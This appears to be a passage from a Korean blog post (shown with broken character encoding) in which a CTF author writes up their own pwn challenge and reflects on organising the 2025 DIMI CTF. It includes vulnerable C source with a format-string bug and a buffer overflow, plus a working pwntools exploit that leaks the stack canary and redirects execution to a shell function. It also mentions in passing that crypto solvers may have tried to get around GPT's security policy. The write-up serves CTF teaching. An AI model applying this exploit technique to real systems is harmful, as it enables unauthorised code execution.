name์ด 0x10๋งํผ C์ธ์ด ์ฝ๋์์๋ ๋์์์ง๋ง, gdb๋ก ๋ถ์ํด๋ณด๋ฉด 0x30๋งํผ ํ ๋น์ด ๋๋ค
์ด๊ฑฐ ๋๋ฌธ์ ๋ง์ด ๋ชป ํผ๊ฒ ๊ฐ๋ค,,,,
stack alignment์ ๋ํด์ ์๊ณ ์๋ค๋ฉด ์ฌ์ ๋ ๋ฌธ์
# 0x09. ๋๋์ง-1 - PWN - medium
solve : 0 / score : 1500

- ์ ์ ๋ฐฐ๊ฒฝ
BOF์ rao, shellcoding๊ฐ์ ๊ธฐ๋ณธ์ ์ธ ๊ฒ๋ง ์์ด์ medium์ผ๋ก ๋ผ๋งํ๊ฒ canary๋ผ canary ๋ฌธ์ ๋ฅผ ์ถ์ ํ์๋ค
rao๋ฅผ ํ๋ฉด, SSP์ ๋๋ ์ฝ๊ฒ ์ฐํํ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ์ง๋ง, ๊ทธ๋ฌ์ง ์์๋ค
- ๋ฌธ์ ํ์ผ
ํํธ๋ก https://en.wikipedia.org/wiki/Domestic_canary ์ด๊ฑธ ์ค๋ค. ์ธ๋ชจ๋ ์๋ค
// prob.c
#include <stdio.h>
#include <string.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void get_shell(){
system("/bin/sh");
}
int main(){
Init();
printf("Welcome to goldleo1's house :D\n");
printf("You can steal even flag!!! (if you can HAHA)\n\n");
char buf[0x10];
printf("> What Do you want : ");
read(0, buf, 0x200);
printf(buf);
printf("> How many do you want? : ");
read(0, buf, 0x200);
printf("\n!!!!!!!!!!!!!!!\n");
printf("Goldleo1\nis\ncomming.....!!!!");
}
๋์ปค, prob.c, ELFํ์ผ๋ ์ค๋ค
Canary๋ง ๊ฑธ๋ ค์๋ค
- ํ์ด
์ ๊ทธ๋ผ ์ด๋ป๊ฒ ํธ๋๊ฑฐ๋ ํ๋ฉด, bof๊ฐ ํฐ์ง๋ค
BOF๋ก rao๋ก ํ๋ ค๊ณ ํ๋ฉด, ์๋ง stack smashing error๊ฐ ๋ฐ๊ฒ์ด๋ค
๊ทธ๊ฑด ์ ๊ทธ๋ฌ๋? ํ๋ฉด canary๋ผ๊ณ ํ๋ ๊ฒ ๋๋ฌธ์ด๋ค
์ด ๊ฐ๋ ๋ ์ฌ๊ธฐ์ ์์ธํ ๋ค๋ฃจ๋ฉด ๋๋ฌด ๊ธธ์ด์ง๋, ์ถํ์ ํฌ์คํ ํ ๊ฑฐ๊ณ , ๋ฌดํผ ์นด๋๋ฆฌ๋ผ๊ณ ํ๋๊ฒ ์๋ค~ ์ ๋๋ง ์๊ณ ๋์ด๊ฐ์
ํ ์ค ์์ ์ ํด๋ณด๋ฉด ๋ฒํผ์ SFP์ฌ์ด์ ์์์ ๊ฐ์ ๋ฃ์ด์ BOF๋ฅผ ๋ฐฉ์งํ๋ ๊ทธ๋ฐ ์น๊ตฌ์ด๋ค
ํ์ง๋ง canary๋ฅผ ์์๋ด์, canary check๋ฅผ ํ๋ ๋ถ๋ถ์ leakํ canary๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ์ ์์ ์ผ๋ก bof๋ฅผ ์ ๋ฐํ๊ณ , rao๋ฅผ ํ ์ ์๋ค
# exploit.py
from pwn import *
p = process("./prob")
p = remote("dimictf.lol", 43547)
e = ELF("./prob")
def slog(n, m): return success(" : ".join([n, hex(m)]))
# pay = b"A"*0x10 + b"B"*0x8 + b"C"
pay = b"A"*0x19
p.sendafter(b"want : ", pay)
p.recvuntil(pay)
cnry = u64(b"\x00" + p.recvn(7))
slog("cnry", cnry)
get_shell = e.symbols['get_shell']
slog("[+] get_shell", get_shell)
payload = b"A"*0x18 + p64(cnry) + b"B"*0x8 + p64(get_shell+5)
p.sendlineafter(b"want? : ", payload)
p.interactive()
# This exploit code is written by Void
# Special thanks to Void!!
์ฒซ๋ฒ์งธ ์ ๋ ฅ์์ canary leak์ ํ๊ณ , ๋๋ฒ์งธ ์ ๋ ฅ์์ leakํ canary๋ก raoํด์ฃผ๋ฉด ๋๋ค
get_shell์ 5๋ฅผ ๋ํ๋ ์ด์ ๋ stack alignment๋๋ฌธ์ด๋ผ๊ณ ํ๋ค
์ด ๋ถ๋ถ์ ๋ํด์๋ ์ถ๊ฐ์ ์ผ๋ก ๊ณต๋ถ ํ, ์๋กญ๊ฒ ํฌ์คํ ํ ์์ ์ด๋ค
- ํ๊ธฐ
canary์ stack alignment๋ผ๋ ๋ด์ฉ๋๋ฌธ์ธ์ง 0์์ด ๋์๋ค (์ 1์์ ๋ด๊ฐ ํผ๊ฑฐ๋ค)
์์์ ํ์ง๋ง ํ์ด์๊ฐ ์์ผ๋ ์ฌํ๋ค,,
์คํ๋ ค ์ด ๋ฌธ์ ๋ ๋ด๊ฐ ๋ฐฐ์ธ๊ฒ ๋ง์ด ์๊ฒผ๋ค
์ถ๊ฐ์ ์ผ๋ก ์ด ๋ฌธ์ ๋ ๋ด๊ฒ SFP์ stack alignment๋ฅผ ๊ณต๋ถ & ์ ๋ฆฌ (ํฌ์คํ )์ด๋ผ๋ ๊ณผ์ ๋ฅผ ์ฃผ์๋ค
์ธ์ ๊ฐ ์ด ๊ณผ์ ๋ฅผ ํ๊ฒ ๋ค,,,?
# 0xFF. Outro
์ง๊ธ๊น์ง ์ ๊ฐ ์ถ์ ํ 9๋ฌธ์ (misc 5, pwn 4)์ ๋ํ ์ ๋ฌธํญ ํ์ด๋ฅผ ๋ง์ณค์ต๋๋ค
์๋ฌด๋๋ ๋ธ๋ก๊ทธ ๊ธ์ ์ฐ๋๊ฒ๋ ํ๊ณ๊ฐ ์๊ณ , ์ ์ฒด์ ์ธ ํ์ด ๋ฐฉํฅ์ ๋ํด์๋ง ์๊ฐ๋ฅผ ํ๋ ์ ๋๋ผ, ๋ฌธ์ ํ์ด์ ํ์ํ ๊ฐ๋ , ํ๊ฒฝ ์ค์ ๋ฑ์ ๋ค๋ฃจ์ง ๋ชปํ๋ ์ ์ ์ํด ๋ฐ๋๋๋ค,,
์ถ๊ฐ์ ์ธ ์ง๋ฌธ ์ฌํญ, ํ๊ฒฝ ์ค์ , ๋ฌธ์ ํ์ผ ๋ฑ๋ฑ๋ฑ ๋ฌธ์์ฌํญ์ด ์์ผ์๋ฉด
https://discord.com/users/1214140734890835989 (pandas._.08 or pandas)
๋ก DM ๋จ๊ฒจ์ฃผ์๋ฉด ๋์๋๋ฆฌ๊ฒ ์ต๋๋ค
์ถ๊ฐ์ ์ผ๋ก ์ฌ๋ด์ ํด๋ณด์๋ฉด, ์ ๋ "pandas"๋ผ๋ hidden๋ ์์ด๋๋ก CTF์ ์ฐธ์ฌํ์์ต๋๋ค
'์ถ์ ์๋๊น ๋ชจ๋ ๋ฌธ์ ๋ค ํ ์ ์๋๊ฑฐ ์๋์ผ?'๋ผ๊ณ ํ์ค ์ ์๊ฒ ์ง๋ง, ์ ๊ฐ ์ถ์ ํ pwnable, misc์ ๋ํ ํ์ด๋ ์์ฃผ ์ ์๊ณ , ๋ค๋ฅธ ๋ถ์ผ์ ์ถ์ ์ง๋ค์ด ์ถ์ ํ ๋ฌธ์ ์ ๋ช๋ช ํ์ด๋ง ์์ง, ์ ๋ ๋ค๋ฅธ ๋ถ์ผ์ ๋ฌธ์ ๋ ์ด๋ป๊ฒ ํธ๋์ง ๋ชจ๋ฆ ๋๋ค,,,ใ
๋น์ฐํ ์ถ์ ์ง๋ค์ด ํ์ด๋ฒ์ ๊ณต์ ํด์ฃผ๊ณ , ํ์ด ๋ฐฉ๋ฒ์ ์๋ ค์ค ๋ฌธ์ ๋ ์์ง๋ง, ์์ง๋ ๋ชป ํ์์ต๋๋ค,,,,(ejs,,,,,,๋ ์์์ ํ์ด์ค๋ ์ดํด๋ฅผ ๋ชปํ์ต๋๋ค,,,,)

๋น์ฐํ ์ ๊ฐ ๋ฌธ์ ๋ฅผ ์ถ์ ํ์ผ๋, ์ ํธ๋๊ฒ ๋ง์ง๋ง, ์๊ฐ๋ณด๋ค ๋ค๋ฅธ ๋ถ์ผ์ ๋ฌธ์ ๋ค์ด ์ฝ์ง ์์๊ณ , ์ ๋ถ์ผ๋ฅผ ๋ค ํ์ง ๋ชปํ์ต๋๋ค,,,
๊ฐ์ธ์ ์ธ ์๊ฐ์ผ๋ก๋
Trinity Revenge๋ ์ ์ด์ ๋ง์ธํฌ๋ํํธ๋ฅผ ์ํด์ ์ ๋๋ก ๋ชป ํ ๊ฒ๊ฐ๊ณ ,,,
Emoji๋ ๊ทธ๋ฅ ๋ชป ํ๊ฒ ์ด์,, ํธ์ ๋ถ๋ค์ด ์ง์ง ๋๋จํฉ๋๋ค
PWN์์๋ ๋ชจ๋ ๋ฌธ์ ๋ฅผ ๋ค ๋ณธ๊ฑด ์๋์ง๋ง, DIMITALK๋ ์๋ง ์ ๊ฐ ๋ชป ํ ์๋ ์์ ๊ฒ ๊ฐ๋ค๋ ์๊ฐ์ด ๋๋ค์,,
WEB์ ๋๋์ฒด ์ ejs ์ถ์ ์๊ฐ ์ฝ๋ค๊ณ "์ฃผ์ฅ"ํ๋์ง๋ ๋ชจ๋ฅด๊ฒ ์ง๋ง, ํํธ๊ฐ ์ ๋ง ๋์์ด ๋๋๊ฑด ๋ง์ง๋ง, ํ์ด ๋ฐฉ๋ฒ์ด ์กฐ๊ธ์ ์์?ํ๋ฌ๊น? ์ทจ์ฝ์ ์ ์ดํดํ๋ ๊ฑด ์ด๋ ต์ง ์์์ง๋ง, ์ต์คํ๋ ๊ณผ์ ์์ ํ์ํ ์ง์๊ณผ ๊ฒฝํ์ด ๋ถ์กฑํ์ฌ ์ด๋ ต์ง ์์๋,,๋ผ๊ณ ์กฐ์ฌ์ค๋ฝ๊ฒ ์์ธกํฉ๋๋ค (์ ๋ ๊ทธ๋ฌ์ต๋๋ค)
REV๋ ์ฝ๋ค๊ณ ๋ ํ์ง๋ง, ์ฌ์ด ๋ฌธ์ ๋ ์ ๋ง ์ฌ์ด ๋ฌธ์ ๊ณ , ์ฐ์ตํ๊ธฐ์ ์ ๋ง ์ข์ ๋ฌธ์ ๋ค์ด ๋ง๋ค๊ณ ์๊ฐํฉ๋๋ค, ๋ค๋ง hard๋ฌธ์ ๋ค์ ์ข ์ด๋ ต์ต๋๋ค
Crypto๋ ๋๋ถ๋ถ GPT ๋ธ๊น์ผ๋ก ํ๋ฆฌ๊ธด ํ๋๋ฐ, o3 ์ ๋ฃ๋ฒ์ ์ ์ฌ์ฉํ๋ ์ ์ ์์ด ๋ช๋ช ์ด๋ ์์๊น?ํ๋ ์ง๋ฌธ๊ณผ ํ๊ฒฝ ์ธํ + GPT์ ๋ณด์ ์ ์ฑ ์ฐํ ์ง๋ฌธ(?) ์ด ๋ถ๋ถ์์ ์กฐ๊ธ ๋งํ์ง ์์ผ์ จ์๊น ํ๊ณ ์กฐ์ฌ์ค๋ฝ๊ฒ ์์ธกํด๋ด ๋๋ค
MISC๋ฌธ์ ๋ค์, ๋ญ ๋๋ฌด ๊ด๋ฒ์ ํ๊ณ , ํดํน ์ง์์ด ๊ทธ๋ฆฌ ์๊ตฌ๋๋ ๊ฒ๋ ์๋๋, ๊ทธ๋ฅ ๊ทธ๋ญ์ ๋ญ ํธ์ จ์ ๊ฒ ์ด๋ผ๊ณ ์์ํฉ๋๋ค
CTF๋ฅผ ์ด์ํด๋ณธ ์๊ฐ์ ํ๋ง๋๋ก ์ ๋ฆฌํ์๋ฉด "์ ๋ง์ ๋ง ํ๋ฆ"์ด๋ผ๊ณ ์ ๋ฆฌํ ์ ์์ต๋๋ค
24๋ 10์๋ถํฐ ์ถ์ ๋ฅผ ์์ํ์๊ณ , ๋ํ ์ค๋น์๋ง 5๊ฐ์์ด์ ์์๋์์ต๋๋ค
STEALTH x TRUST ๋์๋ฆฌ ์ฐํฉ์ผ๋ก ์งํ๋๋ ๊ฒ์ด๋ฏ๋ก, ์ถ์ ์ง๋ ๋ง๊ณ , ์ ๋ถ ๋ํ ์ถ์ ๊ฐ ์ฒ์์ด๋ค๋ณด๋ ๋ ผ์ํ ์ฌํญ๋ ๋ง๊ณ , ์ค๋นํ ์ฌํญ๋ ๋ง์์ต๋๋ค
์ ์ ์๋ถ๋ค์ด ๋ํ๋ฅผ ๊ฒฝํํ๊ฒ์ 3์ฃผ์ด์ง๋ง, ์ถ์ ์ง๋ค์ ๊ทธ๋ณด๋ค ํจ์ฌ ๊ธด ๊ธฐ๊ฐ๋์ ์ค๋นํ์์ต๋๋ค
๋ฌธ์ ์์ด๋์ด๋ฅผ ๊ตฌ์ํ๊ณ , ๋ฌธ์ ๋ฅผ ๋ง๋ค๊ณ , ๋ฌธ์ ๊ฒ์ํ๊ณ , ๋์ปค ๊ณต๋ถํ๊ณ , CTFd์ฌ์ฉ๋ฒ ์ตํ๊ณ ๋ฑ๋ฑ๋ฑ๋ฑ๋ฑ๋ฑ,,,,์์ฒญ๋๊ฒ ์ด์ฌํ ๋ ธ๋ ฅํ์์ต๋๋ค
์ ๋ง ๊ฐ์ฌํ๊ฒ๋, ๋ถ์กฑํ ์ ๋ฅผ ์ด๋์ด์ค ํ๋ฅญํ ์ถ์ ์ง๋ค์ด ์์๊ธฐ์, ๋ํ๊ฐ ์ ๊ฐ์ต๋์๊ณ , ๋ง๋ฌด๋ฆฌ ๋์์ต๋๋ค
๋ํ ๊ฐ์ต๊ฐ ๊ทธ๋ฅ ๋ฌธ์ ๋ง ๋ง๋ค๋ฉด ๋๋์ค ์๊ณ ์ฝ๊ฒ ๋ดค๋๋ฐ, ์น ๊ฐ๋ฐ + ctfD + ๋์ฝ ์ด์ + ๋ฌธ์ ๊ฒ์ ๋ฑ๋ฑ๋ฑ ์ ๋ง ๋ง์์ผ์ ํด์ผํ๊ณ , ์ถ์ ์ง๋ค์ด ๋ชจ๋๊ฐ ๊ฐ์์ ๋ถ์ผ์์ ์ด์ฌํ ๋ ธ๋ ฅํด์ฃผ์์ต๋๋ค
์ ๋ง ๋ง์ ๊ฑธ ๋ฐฐ์ฐ๊ณ , ๋ค์ ํ ๋ฒ ๊ณต๋ถํ๊ฒ๋ ๊ณ๊ธฐ๊ฐ ๋์ด์ ์ ๋ง ์ข์์ต๋๋ค
์ด ์๋ฆฌ๋ฅผ ๋น์ด์ ์ถ์ ์ง๋ค๊ณผ ์ฐธ๊ฐ์๋ถ๋ค๊ป ์ ๋ง ๊ฐ์ฌํ๋ค๋ ๋ง์์ ์ ํ๊ณ ์ถ์ต๋๋ค
๋ํ ์๋ , ๊ทธ ์ด์ ๋ถํฐ DIMI CTF๋ฅผ ๊ฐ์ตํด์ฃผ์๊ณ , ์ ํฌ์๊ฒ ๋ง์ ๋์์ ์ฃผ์ ์ ๋ฐฐ๋๋ค, ์ ๋ง ๊ฐ์ฌํฉ๋๋ค
์ ๊ฐ ๋ฐฐ์ด ์ ๋ค๋ ๋ง๊ณ , ๋๋์ ๋ค๋ ๋ง์ ์ ๋ถ ๊ณต์ ํด๋๋ฆฌ๊ณ ์ถ์ง๋ง, ๊ทธ๋ฌ๋ค๊ฐ๋ ๊ธ์ด ๋๋ฌด ๊ธธ์ด์ง๊ณ , ๋ฃจ์ฆํด์ง๊ฒ ๊ฐ์์ ์ด๋งํ๋๋ก ํ๊ฒ ์ต๋๋ค
์ถ๊ฐ์ ์ผ๋ก ๊ถ๊ธํ ์ฌํญ์ด ์๋ค๋ฉด (์ ๋ง ์๋ฌด๊ฑฐ๋)
https://discord.com/users/1214140734890835989
์ฌ๊ธฐ์์ ์ ์๊ฒ DM์ฃผ์๋ฉด ์ฑ์ฌ์ฑ์๊ฒ ๋ต๋ณํด๋๋ฆฌ๋๋ก ํ๊ฒ ์ต๋๋ค (์ง๋ฌธ์ ๋๊ตฌ์ธ์ง๋ง ๋ฐํ์ฃผ์ธ์,,,)
ํน์ ๋๊ธ ๋จ๊ฒจ ์ฃผ์ธ์
์ง๊ธ๊น์ง [2025 DIMI CTF - Prob by pandas. with ํ๊ธฐ], ๊ธด ๊ธ ์ฝ์ด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค
pandas, ๊น์ค์์ด์์ต๋๋ค
.
.
.
.
.
.
.
.
.
.
.
.
.
.
return 0;
'CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [ 2025 COSS ์์ฃผ๋ CTF - ๋ณธ์ ] - Write Up & ํ๊ธฐ (5) | 2025.07.25 |
|---|---|
| [2025 COSS ์์ฃผ๋ CTF - ์์ ] - Write Up & ํ๊ธฐ (0) | 2025.06.23 |
| [2025 Codegate ์์ ] - Write Up & ํ๊ธฐ (0) | 2025.05.26 |
| [CTF] ์ 5ํ ์ค๋ถ๋ํ๊ต JBU CTF (1) | 2025.02.27 |
| [CTF] 2024 ELECCON ์ผ๋ ์ฝ ์์ (0) | 2025.02.27 |